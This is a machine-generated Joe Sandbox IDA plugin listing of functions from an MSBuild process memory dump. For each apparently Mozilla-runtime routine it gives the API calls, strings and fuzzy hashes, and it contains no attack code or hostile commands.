Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: 89cbdc019c87f84fc87c4bcc7124b48137577626d349cd2d348c7da12c59c8b0
Instruction ID: 6ecc590aa5c1263479890b34f2f686a336851a70b79b90f74884e1a908a3f2e6
Opcode Fuzzy Hash: 89cbdc019c87f84fc87c4bcc7124b48137577626d349cd2d348c7da12c59c8b0
Instruction Fuzzy Hash: 814170B5D087408FD710DF64D880F9AB7E4AF96304F41855DE8889B722E770E948CB93

Function 6C51A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C53F770), ref: 6C51A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C51A87B

Part of subcall function 6C51A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C51A88F,00000000), ref: 6C51A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C51A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C51A90C
LeaveCriticalSection.KERNEL32(6C53F770), ref: 6C51A97E

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 5917b415ded766a04f49ca9d0bea84e0e9939173580420daccc6b2b09c0c1754
Instruction ID: ff0c0155876d74ef9df02de4a00ec4f7273b35889897afcab92a1fbf559e6675
Opcode Fuzzy Hash: 5917b415ded766a04f49ca9d0bea84e0e9939173580420daccc6b2b09c0c1754
Instruction Fuzzy Hash: 814183B4900244DBEB00DFA4DC49ADEB7B1FF44324F108615E819AB791E735E949CB91

Function 6C4C1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C4C152B,?,?,?,?,6C4C1248,?), ref: 6C4C159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4C152B,?,?,?,?,6C4C1248,?), ref: 6C4C15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C4C152B,?,?,?,?,6C4C1248,?), ref: 6C4C15E7
free.MOZGLUE(?,?,?,?,?,?,6C4C152B,?,?,?,?,6C4C1248,?), ref: 6C4C1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C4C152B,?,?,?,?,6C4C1248,?), ref: 6C4C1637

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: b81826bdb7e81f385ee0a8b24859eb6a14e0966dd68cee31f81bd182ae5c522e
Instruction ID: 724172d711df7dd0b241e75dec9d18369b47e71671ce1e5035d8a900bcb6a06a
Opcode Fuzzy Hash: b81826bdb7e81f385ee0a8b24859eb6a14e0966dd68cee31f81bd182ae5c522e
Instruction Fuzzy Hash: 3331D67AB001148BC718DE78D850C6E77A9AB813747250B6DE823DBBE4EB30D9158792

Function 6C51AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C52E330,?,6C4DC059), ref: 6C51AD9D

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C52E330,?,6C4DC059), ref: 6C51ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C52E330,?,6C4DC059), ref: 6C51AE01
GetLastError.KERNEL32(?,00000000,?,?,6C52E330,?,6C4DC059), ref: 6C51AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C52E330,?,6C4DC059), ref: 6C51AE3D

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 62548da307e9895de6b727277d4b1a310deb1bfd3dc3814cd557d15782686f5d
Instruction ID: 0e23e339275a6f2b09e0476bea3958b9f40312776bcd33f26346c4aeb7c7b954
Opcode Fuzzy Hash: 62548da307e9895de6b727277d4b1a310deb1bfd3dc3814cd557d15782686f5d
Instruction Fuzzy Hash: 293141B1A002159FEB10DF798C45AABB7F8EF49614F15482DE84AD7740E734E804CBA0

Function 6C515EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C52DCA0,?,?,?,6C4EE8B5,00000000), ref: 6C515F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C4EE8B5,00000000), ref: 6C515F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C4EE8B5,00000000), ref: 6C515F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C4EE8B5,00000000), ref: 6C515F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C4EE8B5,00000000), ref: 6C515FD6

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 179d7bc922808c1c837c91795b2a6f67c38db8f12494b75b69ca251e1fa484a1
Instruction ID: c927a164ebae67a87bc7fb8adfbbc247f916ac675b525597f38666a46ef799ea
Opcode Fuzzy Hash: 179d7bc922808c1c837c91795b2a6f67c38db8f12494b75b69ca251e1fa484a1
Instruction Fuzzy Hash: C9312E74304A008FE721DF29C898E2AB7F5FF89319BA58958F55A87B95D731EC41CB80

Function 6C4BB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4BB532
moz_xmalloc.MOZGLUE(?), ref: 6C4BB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4BB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4BB57E
free.MOZGLUE(00000000), ref: 6C4BB58F

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 9abb4ae2992573674da05a35c110b9d03ee421676c6799402d8940fb08eb4339
Instruction ID: 96775c436b9aa6fa44ca08a83de4158ca5e3184715e57c24a97e5a1a2a8b33bd
Opcode Fuzzy Hash: 9abb4ae2992573674da05a35c110b9d03ee421676c6799402d8940fb08eb4339
Instruction Fuzzy Hash: DD21D8716002059BDB00DF69CD80F6ABBB9FF85319F244129E918DB351E775D911C7A1

Function 6C4BB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4BB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4BB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4BB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4BB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4BB849

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 0389c59b858384d449fe698db07007ad1e849408a952b469d216075eed5a57fa
Instruction ID: bb5bda19d4415c8817d15b4d213cf55fcd75973fa5c474d4841b9d68c25c945b
Opcode Fuzzy Hash: 0389c59b858384d449fe698db07007ad1e849408a952b469d216075eed5a57fa
Instruction Fuzzy Hash: D9215AB5E002199FDF04DFA9C8859BEBBF4EF49314F148129EC0AA7341E735A944CBA0

Function 6C516E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C516E78

Part of subcall function 6C516A10: InitializeCriticalSection.KERNEL32(6C53F618), ref: 6C516A68
Part of subcall function 6C516A10: GetCurrentProcess.KERNEL32 ref: 6C516A7D
Part of subcall function 6C516A10: GetCurrentProcess.KERNEL32 ref: 6C516AA1
Part of subcall function 6C516A10: EnterCriticalSection.KERNEL32(6C53F618), ref: 6C516AAE
Part of subcall function 6C516A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C516AE1
Part of subcall function 6C516A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C516B15
Part of subcall function 6C516A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C516B65
Part of subcall function 6C516A10: LeaveCriticalSection.KERNEL32(6C53F618,?,?), ref: 6C516B83

MozFormatCodeAddress.MOZGLUE ref: 6C516EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C516EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C516EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C516EFF

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 91829deee19cdbd71faf55e9d2a31ce80bc7260c47d86f20ca2a383bb2d9a282
Instruction ID: f8b7c3ebefdf9eceba9363b31b342f358fc76d7ed031657dc5bcf0cdb65d9868
Opcode Fuzzy Hash: 91829deee19cdbd71faf55e9d2a31ce80bc7260c47d86f20ca2a383bb2d9a282
Instruction Fuzzy Hash: 8921A171A0831A9FDB10DF69DC89A9A77F5EF88308F044039E80D97341EB749A58CF96

Function 6C4F0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4B3DEF), ref: 6C4F0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4B3DEF), ref: 6C4F0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4B3DEF), ref: 6C4F0DAF

Strings

<jemalloc>, xrefs: 6C4F0D92, 6C4F0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C4F0D97, 6C4F0DBE

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 6fcf1f2be0745ca06cd45788f753d60f6490e9de76bdc34a3c9fe79ad6790bbd
Instruction ID: d77e8a9de2b3eda05b569348502d4f854cd3f9344d733badc6dbec0af9a2d53a
Opcode Fuzzy Hash: 6fcf1f2be0745ca06cd45788f753d60f6490e9de76bdc34a3c9fe79ad6790bbd
Instruction Fuzzy Hash: 63F0E03138069823E630A1650C05F57279D67C1B26F305035F66CDEAC0FB70E40646BD

Function 6C515850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C51586C
CloseHandle.KERNEL32 ref: 6C515878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C515898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5158C9
free.MOZGLUE(00000000), ref: 6C5158D3

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: b8d0c36ab9b5b2c1537549f6c97d29d6b422e1288d1fc3023e44bbfd96c4ef29
Instruction ID: 02724aefbd18820b1b481495d2f2d640a2a73cac6ff4fbc88b15d9c63853464e
Opcode Fuzzy Hash: b8d0c36ab9b5b2c1537549f6c97d29d6b422e1288d1fc3023e44bbfd96c4ef29
Instruction Fuzzy Hash: 7D014F76704201EBDB20EF1A9C08A467BB8EB8332976643B5E41DD2711F73198148FA9

Function 6C507620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5075C4,?), ref: 6C50762B

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5074D7,6C5115FC,?,?,?), ref: 6C507644
GetCurrentThreadId.KERNEL32 ref: 6C50765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5074D7,6C5115FC,?,?,?), ref: 6C507663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5074D7,6C5115FC,?,?,?), ref: 6C507677

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 37947315346fb21af1bd33625994b0c8a4eea4e473489df0ea63058f5c830775
Instruction ID: ae8282b026de47723e39cff83910f28b9a573f529fab491664af879b420ec152
Opcode Fuzzy Hash: 37947315346fb21af1bd33625994b0c8a4eea4e473489df0ea63058f5c830775
Instruction Fuzzy Hash: 52F0AF75E10B45ABD7009F22CC88A76B778FFEA259F12431AF90843701E7B1A5E08BD1

Function 6C511700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C511800

Part of subcall function 6C4ECBE8: GetCurrentProcess.KERNEL32(?,6C4B31A7), ref: 6C4ECBF1
Part of subcall function 6C4ECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4B31A7), ref: 6C4ECBFA

Part of subcall function 6C4B4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C4F3EBD,6C4F3EBD,00000000), ref: 6C4B42A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C5118C7
name, xrefs: 6C511939
Details, xrefs: 6C511925

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: e03e4b53bd10de90ac90df5669df1d0437c6ee7908e84ae8a06528556270cd2f
Instruction ID: 2ef999502b12b9e748550688a1d73d940904df25530a2537bcd1571774394f44
Opcode Fuzzy Hash: e03e4b53bd10de90ac90df5669df1d0437c6ee7908e84ae8a06528556270cd2f
Instruction Fuzzy Hash: BA71E3B1A047069FDB04DF28D854B9ABBB1FF45304F01466DD8194BB41EB70AA98CBE2

Function 6C51B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C51B0A6,6C51B0A6,?,6C51AF67,?,00000010,?,6C51AF67,?,00000010,00000000,?,?,6C51AB1F), ref: 6C51B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C51B0A6,6C51B0A6,?,6C51AF67,?,00000010,?,6C51AF67,?,00000010,00000000,?), ref: 6C51B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C51B0A6,6C51B0A6,?,6C51AF67,?,00000010,?,6C51AF67,?,00000010), ref: 6C51B25F

Strings

map/set<T> too long, xrefs: 6C51B1FA

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 04a95ae435be17c2c7c371b804ab33a18c1e26181cf416d3f1d0978d36b7fe64
Instruction ID: 13dce9bf1409a00df93908fe73ee412645b3b501a760500fbc70888663f47d8b
Opcode Fuzzy Hash: 04a95ae435be17c2c7c371b804ab33a18c1e26181cf416d3f1d0978d36b7fe64
Instruction Fuzzy Hash: 91617FB46082458FE701DF19C884A9ABBF1FF4A328F19C599D8598FB52C331EC45CB91

Function 6C4DD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C4ECBE8: GetCurrentProcess.KERNEL32(?,6C4B31A7), ref: 6C4ECBF1
Part of subcall function 6C4ECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4B31A7), ref: 6C4ECBFA

EnterCriticalSection.KERNEL32(6C53E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C4ED1C5), ref: 6C4DD4F2
LeaveCriticalSection.KERNEL32(6C53E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C4ED1C5), ref: 6C4DD50B

Part of subcall function 6C4BCFE0: EnterCriticalSection.KERNEL32(6C53E784), ref: 6C4BCFF6
Part of subcall function 6C4BCFE0: LeaveCriticalSection.KERNEL32(6C53E784), ref: 6C4BD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C4ED1C5), ref: 6C4DD52E
EnterCriticalSection.KERNEL32(6C53E7DC), ref: 6C4DD690
LeaveCriticalSection.KERNEL32(6C53E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C4ED1C5), ref: 6C4DD751

Strings

MOZ_CRASH(), xrefs: 6C4DD4BB

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: cdc73b3a97072400c010558359168db831a05799d83aef588a11d4f84fcaed5d
Instruction ID: 1c44ca03ee8b952957fac45199be1370d559fd92ddbf3c21f83be0729566da55
Opcode Fuzzy Hash: cdc73b3a97072400c010558359168db831a05799d83aef588a11d4f84fcaed5d
Instruction Fuzzy Hash: AF51D471A047558FD324DF28C4A4F1ABBE1EB89705F16492EE59DC7B85E770A800CFA1

Function 6C504630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C504721

Strings

-%llu, xrefs: 6C504733
., xrefs: 6C50476A
profiler-paused, xrefs: 6C5046E4

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 5c24fcd02f233735eba652f269e51eb34b80e4ae6e9afb2bbcdfdf605051b81a
Instruction ID: 750bb7be06520af62d4e4cbff6d0c07ec6de8cc7803d71f247eed869a5ec49b5
Opcode Fuzzy Hash: 5c24fcd02f233735eba652f269e51eb34b80e4ae6e9afb2bbcdfdf605051b81a
Instruction Fuzzy Hash: 52415271B047089FCB08DF78EC4259EBBE5AF95344F11862EE849ABB81FB3098058781

Function 6C529830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C52985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C52987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5298DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5298D9

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
